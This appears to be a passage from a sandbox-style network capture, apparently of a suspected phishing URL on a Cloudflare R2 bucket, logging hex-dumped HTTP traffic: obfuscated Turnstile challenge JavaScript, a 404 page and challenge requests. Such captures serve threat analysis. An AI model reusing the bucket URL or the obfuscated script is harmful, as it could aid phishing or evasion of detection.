2c 44 29 7b 72 65 74 75 72 6e 20 43 2b 44 7d 2c 6a 5b 67 4e 28 37 38 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 43 2c 44 29 7b 72 65 74 Data Ascii: ){k=(gN=gJ,j={},j[gN(1683)]=gN(1568),j[gN(381)]=function(C,D){return D===C},j[gN(625)]=gN(748),j[gN(390)]=gN(566),j[gN(1424)]=function(C,D){return C\|\|D},j[gN(485)]=function(C,D){return C+D},j[gN(596)]=function(C,D){return C+D},j[gN(781)]=function(C,D){ret
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 7b 72 65 74 75 72 6e 20 6e 2b 6f 7d 2c 27 4c 42 73 49 72 27 3a 67 50 28 38 32 39 29 2c 27 68 67 72 4d 44 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3e 6f 7d 7d 2c 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 7b 69 66 28 66 3d 64 5b 67 50 28 31 34 33 30 29 5d 2c 64 5b 67 50 28 31 35 35 38 29 5d 26 26 74 79 70 65 6f 66 20 64 5b 67 50 28 31 35 35 38 29 5d 3d 3d 3d 67 50 28 31 32 36 39 29 29 7b 69 66 28 67 50 28 38 32 39 29 21 3d 3d 65 5b 67 50 28 34 39 30 29 5d 29 7b 69 66 28 6f 3d 7b 27 6a 43 64 74 53 27 3a 66 75 6e 63 74 69 6f 6e 28 73 2c 76 2c 78 2c 42 2c 67 51 29 7b 72 65 74 75 72 6e 20 67 51 3d 67 50 2c 65 5b 67 51 28 37 36 34 29 5d 28 73 2c 76 2c 78 2c 42 29 7d 7d 2c 6c 29 72 65 74 75 72 6e 3b 6d 3d 21 21 5b 5d Data Ascii: {return n+o},'LBsIr':gP(829),'hgrMD':function(n,o){return n>o}},d instanceof Error){if(f=d[gP(1430)],d[gP(1558)]&&typeof d[gP(1558)]===gP(1269)){if(gP(829)!==e[gP(490)]){if(o={'jCdtS':function(s,v,x,B,gQ){return gQ=gP,e[gQ(764)](s,v,x,B)}},l)return;m=!![]
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 2c 27 6f 59 74 53 65 27 3a 68 45 28 31 34 37 38 29 2c 27 56 4d 58 65 53 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3d 3d 3d 67 7d 2c 27 69 70 51 69 50 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 28 67 29 7d 7d 2c 65 3d 63 5b 68 45 28 37 31 33 29 5d 2c 65 26 26 65 5b 68 45 28 31 34 33 32 29 5d 3d 3d 3d 68 45 28 31 34 37 38 29 26 26 65 5b 68 45 28 31 36 31 37 29 5d 3d 3d 3d 68 45 28 36 34 33 29 3f 66 72 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 68 46 29 7b 68 46 3d 68 45 2c 64 5b 68 46 28 31 36 34 31 29 5d 28 66 52 29 7d 2c 31 65 33 29 3a 65 26 26 65 5b 68 45 28 31 34 33 32 29 5d 3d 3d 3d 64 5b 68 45 28 38 35 39 29 5d 26 26 64 5b 68 45 28 31 31 35 36 29 5d 28 65 5b 68 45 28 31 Data Ascii: ,'oYtSe':hE(1478),'VMXeS':function(f,g){return f===g},'ipQiP':function(f,g){return f(g)}},e=c[hE(713)],e&&e[hE(1432)]===hE(1478)&&e[hE(1617)]===hE(643)?fr=setInterval(function(hF){hF=hE,d[hF(1641)](fR)},1e3):e&&e[hE(1432)]===d[hE(859)]&&d[hE(1156)](e[hE(1
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 68 6c 4d 50 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 4a 6d 4c 6d 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 65 63 73 52 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 4f 73 67 74 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 79 63 73 69 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 75 6a 67 63 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4f 49 4c 42 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 3d 68 7d Data Ascii: ){return i&h},'hlMPj':function(h,i){return h-i},'JmLmo':function(h,i){return i\|h},'ecsRl':function(h,i){return h<i},'Osgtr':function(h,i){return i\|h},'ycsiO':function(h,i){return i==h},'ujgcc':function(h,i){return h(i)},'OILBs':function(h,i){return i!==h}
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 69 5b 69 6d 28 31 32 37 36 29 5d 3b 4a 2b 3d 31 29 69 66 28 4b 3d 69 5b 69 6d 28 31 30 32 39 29 5d 28 4a 29 2c 4f 62 6a 65 63 74 5b 69 6d 28 34 33 38 29 5d 5b 69 6d 28 39 34 39 29 5d 5b 69 6d 28 39 36 31 29 5d 28 78 2c 4b 29 7c 7c 28 78 5b 4b 5d 3d 45 2b 2b 2c 42 5b 4b 5d 3d 21 30 29 2c 4c 3d 43 2b 4b 2c 4f 62 6a 65 63 74 5b 69 6d 28 34 33 38 29 5d 5b 69 6d 28 39 34 39 29 5d 5b 69 6d 28 39 36 31 29 5d 28 78 2c 4c 29 29 43 3d 4c 3b 65 6c 73 65 20 66 6f 72 28 4d 3d 64 5b 69 6d 28 34 38 37 29 5d 5b 69 6d 28 31 32 39 30 29 5d 28 27 7c 27 29 2c 4e 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 4d 5b 4e 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 30 3d 3d 44 26 26 28 44 3d 4d 61 74 68 5b 69 6d 28 33 33 39 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 3b 63 6f 6e 74 69 6e Data Ascii: i[im(1276)];J+=1)if(K=i[im(1029)](J),Object[im(438)][im(949)][im(961)](x,K)\|\|(x[K]=E++,B[K]=!0),L=C+K,Object[im(438)][im(949)][im(961)](x,L))C=L;else for(M=d[im(487)][im(1290)]('\|'),N=0;!![];){switch(M[N++]){case'0':0==D&&(D=Math[im(339)](2,F),F++);contin
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 6c 73 65 7b 66 6f 72 28 4f 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 48 3c 3c 31 7c 4f 2c 49 3d 3d 64 5b 69 6d 28 39 30 38 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 69 6d 28 31 31 30 37 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4f 3d 43 5b 69 6d 28 31 32 33 30 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 69 6d 28 31 33 31 34 29 5d 28 31 36 2c 73 29 3b 48 3d 64 5b 69 6d 28 39 32 33 29 5d 28 48 3c 3c 31 2e 36 33 2c 31 2e 36 33 26 4f 29 2c 64 5b 69 6d 28 35 38 33 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 69 6d 28 31 31 30 37 29 5d 28 64 5b 69 6d 28 36 31 36 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 2d 2d 2c 64 5b 69 6d 28 31 33 31 33 29 5d 28 30 2c 44 29 26 Data Ascii: lse{for(O=1,s=0;s<F;H=H<<1\|O,I==d[im(908)](j,1)?(I=0,G[im(1107)](o(H)),H=0):I++,O=0,s++);for(O=C[im(1230)](0),s=0;d[im(1314)](16,s);H=d[im(923)](H<<1.63,1.63&O),d[im(583)](I,j-1)?(I=0,G[im(1107)](d[im(616)](o,H)),H=0):I++,O>>=1,s++);}D--,d[im(1313)](0,D)&
2025-03-27 15:59:56 UTC	1369	IN	Data Raw: 5b 69 71 28 33 33 39 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 64 5b 69 71 28 31 37 31 39 29 5d 28 46 2c 4b 29 3b 4c 3d 64 5b 69 71 28 31 30 37 31 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 64 5b 69 71 28 31 30 38 39 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 64 5b 69 71 28 38 38 38 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 28 64 5b 69 71 28 35 37 39 29 5d 28 30 2c 4c 29 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4d 3d 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 71 28 33 33 39 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 4b 21 3d 46 3b 4c 3d 64 5b 69 71 28 31 30 37 31 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 48 3d 3d 30 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 28 64 5b 69 71 28 39 31 36 29 Data Ascii: [iq(339)](2,C),F=1;d[iq(1719)](F,K);L=d[iq(1071)](G,H),H>>=1,d[iq(1089)](0,H)&&(H=j,G=d[iq(888)](o,I++)),J\|=(d[iq(579)](0,L)?1:0)*F,F<<=1);switch(M=J){case 0:for(J=0,K=Math[iq(339)](2,8),F=1;K!=F;L=d[iq(1071)](G,H),H>>=1,H==0&&(H=j,G=o(I++)),J\|=(d[iq(916)

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:56 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:56 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 15:59:56 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9270190bbf23b2c0-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 15:59:56 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:57 UTC	690	OUT	GET /favicon.ico HTTP/1.1 Host: pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/index.html?c09c9db3e8e5892600c8d7f2f14ef5 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:57 UTC	180	IN	HTTP/1.1 404 Not Found Date: Thu, 27 Mar 2025 15:59:57 GMT Content-Type: text/html Content-Length: 27150 Connection: close Server: cloudflare CF-RAY: 9270190ee854efa3-EWR
2025-03-27 15:59:57 UTC	1189	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="https://www.cloudflare.com/favicon.ico" /> <title>Not Found</title> <sty
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 32 20 7b 0a 20 20 20 20 20 20 20 20 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 25 2c 0a 20 20 20 20 20 20 20 20 35 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 35 70 78 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 36 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 Data Ascii: 2 { 0% { transform: translateX(0); } 10%, 50% { transform: translateX(5px); } 60% { transform: translateX(0); } 100% { transform: translateX(0px);
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 70 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 4c 65 61 72 6e 20 68 6f 77 20 74 6f 20 65 6e 61 62 6c 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 72 32 2f 64 61 74 61 2d 61 63 63 65 73 73 2f 70 75 62 6c 69 63 2d 62 75 63 6b 65 74 73 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 50 75 62 6c 69 63 20 41 63 63 65 73 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 3c 73 65 63 74 Data Ascii: p> <p> Learn how to enable <a href="https://developers.cloudflare.com/r2/data-access/public-buckets/" >Public Access</a > </p> </div> </section> <sect
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 43 31 32 31 2e 30 35 33 20 31 33 2e 32 37 37 20 31 31 38 2e 32 30 34 20 31 30 2e 34 32 38 38 20 31 31 38 2e 32 30 34 20 36 2e 39 31 35 33 34 43 31 31 38 2e 32 30 34 20 33 2e 34 30 31 39 31 20 31 32 31 2e 30 35 33 20 30 2e 35 35 33 37 31 31 20 31 32 34 2e 35 36 36 20 30 2e 35 35 33 37 31 31 43 31 32 38 2e 30 38 20 30 2e 35 35 33 37 31 31 20 31 33 30 2e 39 32 38 20 33 2e 34 30 31 39 31 20 31 33 30 2e 39 32 38 20 36 2e 39 31 35 33 34 43 31 33 30 2e 39 32 38 20 31 30 2e 34 32 38 38 20 31 32 38 2e 30 38 20 31 33 2e 32 37 37 20 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 Data Ascii: <path d="M124.566 13.277C121.053 13.277 118.204 10.4288 118.204 6.91534C118.204 3.40191 121.053 0.553711 124.566 0.553711C128.08 0.553711 130.928 3.40191 130.928 6.91534C130.928 10.4288 128.08 13.277 124.566 13.277Z" fill="#0055DC
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 33 30 34 20 39 39 2e 36 31 34 39 43 37 33 2e 31 38 38 38 20 31 30 30 2e 38 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 20 37 31 2e 32 35 35 39 20 31 30 38 2e 31 39 35 48 37 35 2e 35 34 35 39 43 37 35 2e 35 34 35 39 20 31 30 38 2e 31 39 35 20 37 38 2e 33 33 35 33 20 39 35 2e 39 36 31 31 20 36 38 2e 36 38 36 38 20 39 34 2e 30 34 34 35 43 35 39 2e 30 33 38 34 20 39 32 2e 31 32 37 38 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 20 35 36 2e 30 37 37 37 20 31 30 35 2e 34 30 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 36 2e 31 37 36 20 31 31 31 2e 39 35 33 43 31 Data Ascii: 304 99.6149C73.1888 100.895 71.2559 108.195 71.2559 108.195H75.5459C75.5459 108.195 78.3353 95.9611 68.6868 94.0445C59.0384 92.1278 56.0777 105.406 56.0777 105.406Z" fill="#0055DC" /> <path d="M136.176 111.953C1
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 2e 39 34 31 20 31 32 31 2e 31 37 20 31 30 38 2e 34 30 37 43 31 32 30 2e 37 30 34 20 31 30 38 2e 38 37 32 20 31 32 30 2e 33 33 35 20 31 30 39 2e 34 32 35 20 31 32 30 2e 30 38 33 20 31 31 30 2e 30 33 34 43 31 31 39 2e 38 33 31 20 31 31 30 2e 36 34 32 20 31 31 39 2e 37 30 31 20 31 31 31 2e 32 39 35 20 31 31 39 2e 37 30 31 20 31 31 31 2e 39 35 33 56 31 31 31 2e 39 35 33 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 33 38 34 20 31 31 31 2e 39 35 33 43 31 30 33 2e 33 38 34 20 31 31 32 2e 36 31 32 20 31 30 33 2e 35 31 33 20 31 31 33 2e 32 36 34 20 31 30 33 2e 37 36 36 20 31 Data Ascii: .941 121.17 108.407C120.704 108.872 120.335 109.425 120.083 110.034C119.831 110.642 119.701 111.295 119.701 111.953V111.953Z" fill="#0055DC" /> <path d="M103.384 111.953C103.384 112.612 103.513 113.264 103.766 1
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 36 38 34 20 31 33 34 2e 39 39 35 20 33 31 2e 35 37 39 35 20 31 33 39 2e 37 39 32 20 33 31 2e 35 37 39 35 43 31 34 34 2e 35 38 39 20 33 31 2e 35 37 39 35 20 31 34 38 2e 34 37 38 20 33 35 2e 34 36 38 34 20 31 34 38 2e 34 37 38 20 34 30 2e 32 36 35 36 43 31 34 38 2e 34 37 38 20 34 35 2e 30 36 32 37 20 31 34 34 2e 35 38 39 20 34 38 2e 39 35 31 36 20 31 33 39 2e 37 39 32 20 34 38 2e 39 35 31 36 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3d 22 31 30 22 0a 20 20 20 Data Ascii: 684 134.995 31.5795 139.792 31.5795C144.589 31.5795 148.478 35.4684 148.478 40.2656C148.478 45.0627 144.589 48.9516 139.792 48.9516Z" fill="white" stroke="#0055DC" stroke-width="2" stroke-miterlimit="10"
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 32 2e 34 39 32 31 20 31 31 35 2e 36 38 20 34 31 2e 34 32 31 36 20 31 31 35 2e 36 38 20 34 30 2e 33 30 35 35 43 31 31 35 2e 36 37 38 20 33 39 2e 31 39 30 37 20 31 31 35 2e 32 33 34 20 33 38 2e 31 32 32 34 20 31 31 34 2e 34 34 35 20 33 37 2e 33 33 34 39 43 31 31 33 2e 36 35 36 20 33 36 2e 35 34 37 34 20 31 31 32 2e 35 38 36 20 33 36 2e 31 30 35 32 20 31 31 31 2e 34 37 32 20 33 36 2e 31 30 35 32 43 31 31 30 2e 33 35 38 20 33 36 2e 31 30 37 33 20 31 30 39 2e 32 39 31 20 33 36 2e 35 35 30 36 20 31 30 38 2e 35 30 34 20 33 37 2e 33 33 37 38 43 31 30 37 2e 37 31 37 20 33 38 2e 31 32 35 20 31 30 37 2e 32 37 34 20 33 39 2e 31 39 32 31 20 31 30 37 2e 32 37 31 20 34 30 2e 33 30 35 35 56 34 30 2e 33 30 35 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d Data Ascii: 2.4921 115.68 41.4216 115.68 40.3055C115.678 39.1907 115.234 38.1224 114.445 37.3349C113.656 36.5474 112.586 36.1052 111.472 36.1052C110.358 36.1073 109.291 36.5506 108.504 37.3378C107.717 38.125 107.274 39.1921 107.271 40.3055V40.3055Z" fill=
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 34 34 20 31 33 33 2e 30 32 20 31 34 36 2e 36 31 31 20 31 33 37 2e 34 31 32 20 31 34 36 2e 36 31 31 20 31 34 32 2e 38 33 31 43 31 34 36 2e 36 31 31 20 31 34 38 2e 32 34 39 20 31 34 32 2e 33 34 34 20 31 35 32 2e 36 34 31 20 31 33 37 2e 30 38 31 20 31 35 32 2e 36 34 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 43 35 45 42 46 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 20 73 74 79 6c 65 3d 22 6d 69 78 2d 62 6c 65 6e 64 2d 6d 6f 64 65 3a 20 6d 75 6c 74 69 70 6c 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 30 33 2e 30 37 34 20 31 34 32 2e 38 33 31 43 31 30 33 2e 30 Data Ascii: 44 133.02 146.611 137.412 146.611 142.831C146.611 148.249 142.344 152.641 137.081 152.641Z" fill="#C5EBF5" /> </g> <g style="mix-blend-mode: multiply"> <path d="M103.074 142.831C103.0
2025-03-27 15:59:57 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 2e 30 38 37 20 37 35 2e 36 33 35 48 31 34 32 2e 31 37 37 56 37 39 2e 37 33 37 39 48 31 33 37 2e 30 38 37 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 39 2e 38 35 32 20 37 35 2e 36 33 35 48 31 33 34 2e 39 33 34 56 37 39 2e 37 33 37 39 48 31 32 39 2e 38 35 32 56 37 35 2e 36 33 35 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 33 37 Data Ascii: d="M137.087 75.635H142.177V79.7379H137.087V75.635Z" fill="#0055DC" /> <path d="M129.852 75.635H134.934V79.7379H129.852V75.635Z" fill="#0055DC" /> <path d="M137

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:57 UTC	1192	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1724061149:1743089315:EMoHy6tP5s_faUJaiGGQjDzpUCZ-IXmoKjRPKtyfjNU/92701908ae6742b3/QGMTvrxpL04SD86C4DCU3cAz_O2wDlGKriHirMKJqc0-1743091196-1.1.1.1-x2CMD_19YFVLezhV63fRsMpm9knHTAFOF6LoQppvyzb_aY7ejnw9vfi4rxdcO5XZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3616 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: QGMTvrxpL04SD86C4DCU3cAz_O2wDlGKriHirMKJqc0-1743091196-1.1.1.1-x2CMD_19YFVLezhV63fRsMpm9knHTAFOF6LoQppvyzb_aY7ejnw9vfi4rxdcO5XZ cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/zz6pz/0x4AAAAAABCuJE5Ktf6oSQ3-/light/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:57 UTC	3616	OUT	Data Raw: 63 48 78 73 51 73 31 73 49 73 78 73 72 7a 64 45 7a 64 37 73 7a 32 70 65 33 4b 7a 58 64 33 64 4e 5a 32 77 44 66 64 57 6d 65 73 53 66 70 6d 64 43 64 24 66 33 65 38 66 56 31 6a 38 64 58 66 77 38 64 34 64 63 75 73 64 51 6d 73 64 39 77 64 39 2b 48 56 4f 64 49 78 46 6d 6d 38 77 66 70 36 64 41 32 70 4e 64 49 50 66 64 47 69 66 70 55 64 30 64 6d 2b 4d 77 5a 4b 4d 58 31 24 35 64 58 48 56 74 58 49 46 58 78 47 2d 42 68 4f 4c 54 67 37 48 4a 59 32 37 44 78 61 64 78 55 55 45 49 73 64 33 6d 30 58 77 64 70 31 6a 55 48 48 61 58 48 73 37 38 37 32 69 70 69 54 59 6f 36 6a 58 64 70 50 65 7a 73 37 5a 77 64 39 4c 53 51 7a 64 77 48 64 66 52 6d 4b 36 36 75 4c 30 38 32 64 6a 6b 65 64 68 73 70 47 71 59 48 48 45 34 6d 64 74 73 56 24 64 39 49 66 64 6d 57 4f 64 64 55 43 65 49 49 58 57 Data Ascii: 